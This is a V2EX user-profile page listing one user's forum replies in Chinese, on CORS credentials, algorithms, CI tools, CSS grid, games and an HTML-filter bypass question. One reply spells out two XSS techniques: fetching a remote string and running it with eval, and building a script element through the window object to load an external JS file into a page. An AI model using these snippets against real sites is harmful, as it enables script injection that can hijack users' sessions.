V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  cyrbuzz  ›  全部回复第 8 页 / 共 31 页
回复总数  618
1 ... 4  5  6  7  8  9  10  11  12  13 ... 31  
2022-03-27 19:33:32 +08:00
回复了 wheelg 创建的主题 程序员 浏览器为什么选择了如今的同源策略
浏览器目前的做法就是如你所说的,所以你的疑问并不存在= =,看 MDN:

`https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CORS#%E9%99%84%E5%B8%A6%E8%BA%AB%E4%BB%BD%E5%87%AD%E8%AF%81%E7%9A%84%E8%AF%B7%E6%B1%82`

XMLHttpRequest 或 Fetch 与 CORS 的一个有趣的特性是,可以基于 HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨源 XMLHttpRequest 或 Fetch 请求,浏览器 **不会** 发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。


如果想要携带 cookies ,必须在发起请求时要求 XMLHttpRequest 或者 Fetch 携带 cookies ,并且服务器也需要允许`Access-Control-Allow-Credentials: true`,且附带 cookies 的情况下,其他跨域属性均不能为通配符,必须指定一个准确的值。
冲冲冲。
2022-03-25 10:29:43 +08:00
回复了 dreasky 创建的主题 算法 求凑数算法
https://v2ex.com/t/824934#reply29

同样遇到一个,试试 21 楼老哥给的 Google 工具。
分子。
2022-02-24 10:20:19 +08:00
回复了 SoulClinic 创建的主题 程序员 [阿里爬虫] 如何应对反爬?
君子不立于危墙之下。
gitea + drone 轻量级就完事了。
2022-02-22 16:28:13 +08:00
回复了 zamaojava 创建的主题 程序员 2022 年 Java 找工作行情
老哥加油~。
https://stackoverflow.com/questions/45870323/does-css-grid-have-a-flex-grow-function

fr 和 flex-grow 是类似的,所以只要把 grid 的元素的高度撑满就可以。
2022-02-18 21:27:02 +08:00
回复了 sevenyangcc 创建的主题 游戏 各位有哪些玩了 10 年以上的游戏呢?
@isBitter

阔怕,名将转激战还每把满转。
2022-02-18 19:17:39 +08:00
回复了 sevenyangcc 创建的主题 游戏 各位有哪些玩了 10 年以上的游戏呢?
@isBitter

锦囊转起来。
@lhstock

解析不受控,老哥能否具体说说怎么做?
@wednesdayco

可以的,我想到的有两种:

1. fetch 一个外部字符串,然后 eval ,fetch('').then(function (val) { eval(val) }),字符串的内容就是正经插入就可以。

2. 设置了请求策略的话可以借用 window 对象,`Object.assign(window, { xss: [] })`,这样就得到了一个可以存放任意变量的`window.xss`对象,然后`window.xss.push(document.createElement('script')); window.xss[0].setAttribute('src', 'http://www.baidu.com'); document.body.appendChild(window.xss[0])`,就插入外部 js 了。
@jin5354

这还是有点不一样吧,并没有过滤<>/,script ,要是想攻击我直接插一个外部 JS 就完事了,我还用得着绕个大圈讲武德的硬写 HTML?
@learningman

哈哈哈,可惜不是刷题木有答案,就是想找这个可以转换成=的字符,知识到了边界找不到了= =。
@jin5354

这样没有达到本来的目的,这样只对我自己有效,这样搞就变成一个只能打自己的反射 XSS 了。
@mxT52CRuqR6o5

是的,还是有 XSS 风险,只是我的目的不是攻击,也没有权限改其他人的网站。
@Xusually

是= =,只是并不为了攻击。
@vanton

大佬,不在挣扎一下吗= =。
@gadfly3173
@Zzm1203
@yinjunjian0

emmm...例子是完整情况。

我期望通过输入`<a href="123">123</a>`的方式让 a 标签生效,但现在我输入的`<a href="123">123</a>`会被后端过滤为`<a href"123">123</a>`,前端拿到后不会做任何过滤直接输出。后端如何写的替换并不清楚= =,无法控制过滤规则。

不能用 JS 是一个限制条件。

@shew2356

完全就是这个意思~。
@Huyoumnonos

类似 XSS ,过滤了部分字符。
1 ... 4  5  6  7  8  9  10  11  12  13 ... 31  
关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2810 人在线   最高记录 6679   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 28ms · UTC 13:26 · PVG 21:26 · LAX 05:26 · JFK 08:26
Developed with CodeLauncher
♥ Do have faith in what you're doing.